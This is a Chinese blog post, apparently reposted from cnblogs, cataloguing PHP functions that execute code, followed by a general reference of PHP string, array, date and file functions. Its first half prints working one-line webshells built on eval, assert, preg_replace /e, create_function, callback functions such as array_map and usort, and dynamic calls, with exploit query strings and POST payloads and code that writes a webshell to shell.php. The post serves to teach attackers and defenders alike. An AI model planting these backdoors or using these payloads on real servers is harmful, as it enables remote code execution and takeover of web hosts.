zoukankan      html  css  js  c++  java
  • PHP中可执行代码小结

    PHP中可执行代码小结

    PHP中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞,这里对代码执行函数做一些归纳。

      常见代码执行函数,如  

        eval()、assert()、preg_replace()、create_function()

        array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()

        文件操作函数、动态函数($a($b))

    eval() 

      eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:<?php eval($_POST[cmd])?>

    phpinfo()

          phpinfo函数可以显示出PHP 所有相关信息。是排查配置php是是否出错或漏配置模块的主要方式之一!代码如下 :

    <?php
     phpinfo();
    ?>

           只要访问到phpinfo()函数的web页面,即返回php的所有相关信息!

    exec()

    ---执行外部程序

    string exec ( string $command [, array &$output [, int &$return_var ]] )

    $command 要执行的shell 命令
    $output shell命令的输出填充此数组,每行输出填充数组中的一个元素。

    请注意,如果数组中已经包含了部分元素,exec() 函数会在数组末尾追加内容。
    如果你不想在数组末尾进行追加,请在传入 exec() 函数之前 对数组使用 unset() 函数进行重置。

    $return_var 命令执行后的返回状态,命令执行成功值是0
    返回值
    shell命令输出的最后一行

    ps:   2>&1  exec不成功,调试方案一个技巧就是使用管道命令, 使用 2>&1, 命令就会输出shell执行时的错误到$output变量, 输出该变量即可分析。

    system()

    ---执行外部程序,并且显示输出

    string system ( string $command [, int &$return_var ] )

    $command  要执行的命令

    $return_var  命令执行后的返回状态,值是0表示成功

     1.示例代码

    $res = system('ls 2>&1',$return_status);
    
    var_dump($res);
    
    echo '------';
    
    var_dump($return_status);

    assert()

       与eval类似,字符串被 assert() 当做 PHP 代码来执行,如:

    示例代码:

    <?php 
    //?cmd=phpinfo()
    assert($_REQUEST[cmd]); 
    ?>

    preg_replace()

      mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

      搜索subject中匹配pattern的部分, 以replacement进行替换。

      preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码

    示例代码:

    <?php 
    //?cmd=phpinfo()
    @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
    ?>

    create_function()

      create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

    代码示例:

    <?php 
    //?cmd=phpinfo();
    $func =create_function('',$_REQUEST['cmd']);
    $func();
    ?>

    参考链接:

    代码安全:PHP create_function()注入命令执行漏洞

    http://www.cnseay.com/1901/

    http://lovexm.blog.51cto.com/3567383/1743442

    http://qqhack8.blog.163.com/blog/static/11414798520153795157139/

    array_map()

      array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

     代码示例:

    <?php
    //?func=system&cmd=whoami
    $func=$_GET['func'];
    $cmd=$_GET['cmd'];
    $array[0]=$cmd;
    $new_array=array_map($func,$array);
    //print_r($new_array);
    ?>

    call_user_func()/call_user_func_array ()

      call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

      call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

    <?php 
    //?cmd=phpinfo()
    @call_user_func(assert,$_GET['cmd']);
    ?>
    
    <?php 
    //?cmd=phpinfo()
    $cmd=$_GET['cmd'];
    $array[0]=$cmd;
    call_user_func_array("assert",$array);
    ?>

    array_filter()

      array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

      依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

    <?php 
    //?func=system&cmd=whoami
    $cmd=$_GET['cmd'];
    $array1=array($cmd);
    $func =$_GET['func'];
    array_filter($array1,$func);
    ?>

    usort()、uasort()

      usort() 通过用户自定义的比较函数对数组进行排序。

      uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

    代码示例:

    php环境>=5.6才能用
    <?php usort(...$_GET);?>
    利用方式:
    test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
    [POST]:x=phpinfo();
    
    php环境>=<5.6才能用
    <?php usort($_GET,'asse'.'rt');?>
    利用方式:
    test.php?1=1+1&2=eval($_POST[x])
    [POST]:x=phpinfo();

    源自:https://www.wd0g.com/?p=190

    https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

    拓展

    字符串函数

    strlen:获取字符串长度,字节长度
    
    substr_count 某字符串出现的次数
    
    substr:字符串截取,获取字符串(按照字节进行截取)
    
    mb_strlenmb_substr
    
    strchr:与substr相似,从指定位置截取一直到最后
    
    strrchr(获取文件后缀名):与strchr一样,只是从右边开始查找字符
    
    strtolower:所有的字符都小写(针对英文字母)
    
    strtoupper:所有的字符都大写
    
    strrev:字符串反转(只能反转英文:英文存储只有一个字节),按照字节进行反转
    
    strpos:从字符串中找对应字符出现的位置(数字下标),从最左边开始找
    
    strrpos:与strpos一样,只是从字符串的右边开始找
    
    trim:去掉函数两边的字符,默认是空格
    
    str_split 函数把字符串分割到数组中。
    
    chunk_split() 函数把字符串分割为一连串更小的部分
    
    str_repeat("Shanghai",5);把字符串 "Shanghai " 重复 5str_replace('\', '/', dirname(__DIR__))); 替换
    
    ucfirst 首字母大写

    时间日期函数

    time:得到当前时间的时间戳(整型:从格林威治时间1970年1月1日0时0分0秒开始)秒数
    
    date:时间序列化函数,将指定的时间戳转换成规定时间日期的显示格式(随意的字符串:有专业的格式符规定),如果没有指定时间戳,系统默认使用当前时间的时间戳
    
    strtotime:时间日期格式的字符串转换成对应的时间戳(只要是正确的英语时间表达方式,都可以进行转换)
    
    microtime:微秒时间戳,根据不同的要求返回不同的结果 混合 microtime (布尔类型 ),可以返回一个浮点数的时间,也可以返回一个数组(时间戳和微秒数)

    数学相关函数

    abs:绝对值
    
    floor:向下取整 floor(3.2) 结果等于3
    
    ceil:向上取整
    
    round:四舍五入
    
    rand:取得一个指定范围内的随机整数
    
    mt_rand:取得一个指定范围内的随机整数(效率更高)
    
    min:PHP 会将非数值的 string 当成 0,但如果这个正是最小的数值则仍然会返回一个字符串。如果多个参数都求值为 0 且是最小值,min() 会返回按字母表顺序最小的字符串,如果其中没有字符串的话,则返回数值的 0;
    
    max:PHP 会将非数值的字符串当成 0,但如果这个正是最大的数值则仍然会返回一个字符串。如果多个参数都求值为 0 且是最大值,max() 会返回其中数值的 0,如果参数中没有数值的 0,则返回按字母表顺序最大的字符串。对于多个数组,max从左到右比较;如果同时出现数组和非数组参数总把数组作为最大值返回;

    数组相关函数

    count() // 非数组返回1
    
    key:获取当前数组当前指针所指向的元素的下标
    
    current:获取的当前指针指向元素的数值
    
    next:获取下一个元素的值,并且将指针下移
    
    prev:获取上一个元素的值,并且将指针上移
    
    end :将指针移到数组的最后一个元素,并返回最终指针位置的值
    
    reset:将指针移到数组的第一个元素,返回最终指针位置的值
    
    array_keys:获取一个数组的所有键名,返回一个索引数组
    
    array_values:获取一个数组的所有值,返回一个索引数组
    
    explode:爆炸,将一个字符串按照某个指定的规则(通常是特殊字符),将数组分成多个段,每一段都当做一个数组的元素,返回一个索引数组
    
    split 类似 explode  explode('.', 'abc.txt')等于split('.','abc.txt')
    
    implode:粘合,将一个数组内部的所有元素按照某个指定的规则(特殊字符),将所有的元素拼接成一个字符串
    
    join()  把数组元素组合为一个字符串
    
    array_merge:合并,指的是将两个数组中的元素进行累计。如果后面的数组与前面的数组有下标(键名:关联)相同的,那么后面的元素的值会覆盖前面的;如果是索引的相同下标,会自动的修改下标叠加到前面的数组里。
    
    array_reverse — 返回反转后的数组
    
    array_flip — 交换数组中的键和值

    数据结构模拟函数

    array_shift:从数组的前面弹出元素,得到元素的值
    
    array_pop:从数组的后面弹出元素,获得元素的值
    
    array_unshift:从数组的前面压入元素,得到当前数组元素的个数
    
    array_push:从数组的后面压入元素,得到当前数组元素的个数

    判断变量

    is_bool:判断是否是布尔类型
    
    is_float:判断浮点型
    
    is_integer:判断整型
    
    is_object:判断对象
    
    is_array:判断数组
    
    is_string:判断字符串
    
    is_resource:判断资源
    
    is_scalar:scalar是标量的,判断是基本数据类型:整型,浮点型,布尔型和字符串型
    
    is_null 检测变量是否为NULL 是返回TRUE 否则返回false。1.被赋值为NULL;2.变量没被赋值;3.被unset()
    
    is_numeric:判断数字或者纯数字组成的字符串
    
    gettype:获得数据类型
    
    settype:改变数据类型
    
    isset
    
    unset() 如果在函数中 unset() 一个全局变量,则只是局部变量被销毁,而在调用环境中的变量将保持调用 unset() 之前一样的值,如果在函数中 unset() 一个通过引用传递的变量,则只是局部变量被销毁,而在调用环境中的变量将保持调用 unset() 之前一样的值。empty//array(),"",0,"0",NULL,FALSE 都返回true

    文件操作函数

    opendir(路径):打开一个路径资源(将路径内部的所有数据读入到内存)
    
    readdir(路径资源):从文件夹资源中读取当前资源指针所指向的文件的名字,指针会向下移动一位
    
    closedir(资源):释放对应的文件资源
    
    scandir(路径):读取一个路径内部的所有文件名,返回一个数组,数组的每一个元素都是文件名。
    
    file_exists:判断一个文件是否存在(文件是广义:路径和文件)
    
    is_dir:判断一个指定路径是否存在(文件夹)
    
    is_file:判断一个指定路径是否是文件(文件)
    
    mkdir:创建一个路径,如果路径存在就会报错
    
    rmdir:移除文件夹
    
    file_get_contents:从一个指定的文件内读取数据内容。
    
    file_put_contents:将指定的字符串写入到对应的文件
    
    fopen:打开一个文件资源
    
    fgetc:c代表character,一次读取一个字符
    
    fgets:s代表string,代表可以读取多个字符,取决于指定的读取长度或者是否碰到换行(最多只能读取一行数据)
    
    两个函数都是对当前资源指针进行操作,读取之后都会将指针下移
    
    fread:获取指定长度的数据直到文件结束
    
    fwrite:向文件资源指针所在的位置写入数据,写东西不会将当前位置已有的东西往后移,而是会覆盖
    
    fseek:将指针指定到对应的位置
    
    fclose:使用对应的文件资源
    
    copy:复制
    
    unlink:删除文件
    
    rename:重命名文件
    
    filemtime:m代表modify,文件最后被修改的时间
    
    filesize:文件大小(字节)
    
    fileperms:文件权限(Linux下的八进制)

    排序

    rsort() 函数用于对数组单元从高到低进行排序。

    asort() 函数用于对数组单元从低到高进行排序并保持索引关系。

    arsort() 函数用于对数组单元从高到低进行排序并保持索引关系。

    ksort() 函数用于对数组单元按照键名从低到高进行排序。

    krsort() 函数用于对数组单元按照键名从高到低进行排序。

    报错

    error_reporting(E_ALL)
    
    ini_set('display_errors', 1)

    常量

    define() 定义常量defined() 检测常量是否定义

    序列化

    serialize
    
    unserialize
    
    json_encode 对变量进行 JSON 编码 
    
    json_decode  对JSON 格式的字符串进行编码

    编码

    base64_encode 本函数将字符串以 MIME BASE64 编码。在 BASE64 编码后的字符串只包含英文字母大小写、阿拉伯数字、加号与反斜线,共 64 个基本字符,不包含其它特殊的字符,因而才取名 BASE64。
    base64_decode 解码

    文件操作函数

      file_put_contents() 函数把一个字符串写入文件中。

      fputs() 函数写入文件

    代码示例:

    <?php 
    $test='<?php eval($_POST[cmd]);?>';
    file_put_contents('test1.php',$test);
    ?>
    <?php 
    fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); 
    ?>

    动态函数

      PHP函数直接由字符串拼接

    代码示例:

    <?php 
    //?a=assert&b=phpinfo()
    $_GET['a']($_GET['b']);
    ?>

    phpinfo()

    愿路途漫长,以后莫失莫忘。 愿你不骄不躁,安稳顺心。

    作者:菜鸟-传奇
    本文版权归作者和博客园共有,不以任何盈利为目的,欢迎转载。但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接,否则保留追究法律声明责任的权利。
  • 相关阅读:
    Asp.net button防止点击多次数据提交
    Asp.net button防止点击多次数据提交
    Asp.net button防止点击多次数据提交
    被投资人坑的大学生创业者
    分析了3200家创业公司
    移动互联网4种引流思维:免费思维、跨界思维、平台思维、金融思维
    腾讯入局、估值超10亿美元,“野路子”瑞幸的三大增长法则
    95后女生月入8万,竟然“玩着玩着”就赚到钱
    95后中介年入百万:“伪焦虑”是你人生最大的骗局
    一家靠收智商税盈利的公司,卖了340亿
  • 原文地址:https://www.cnblogs.com/cainiao-chuanqi/p/14459150.html
Copyright © 2011-2022 走看看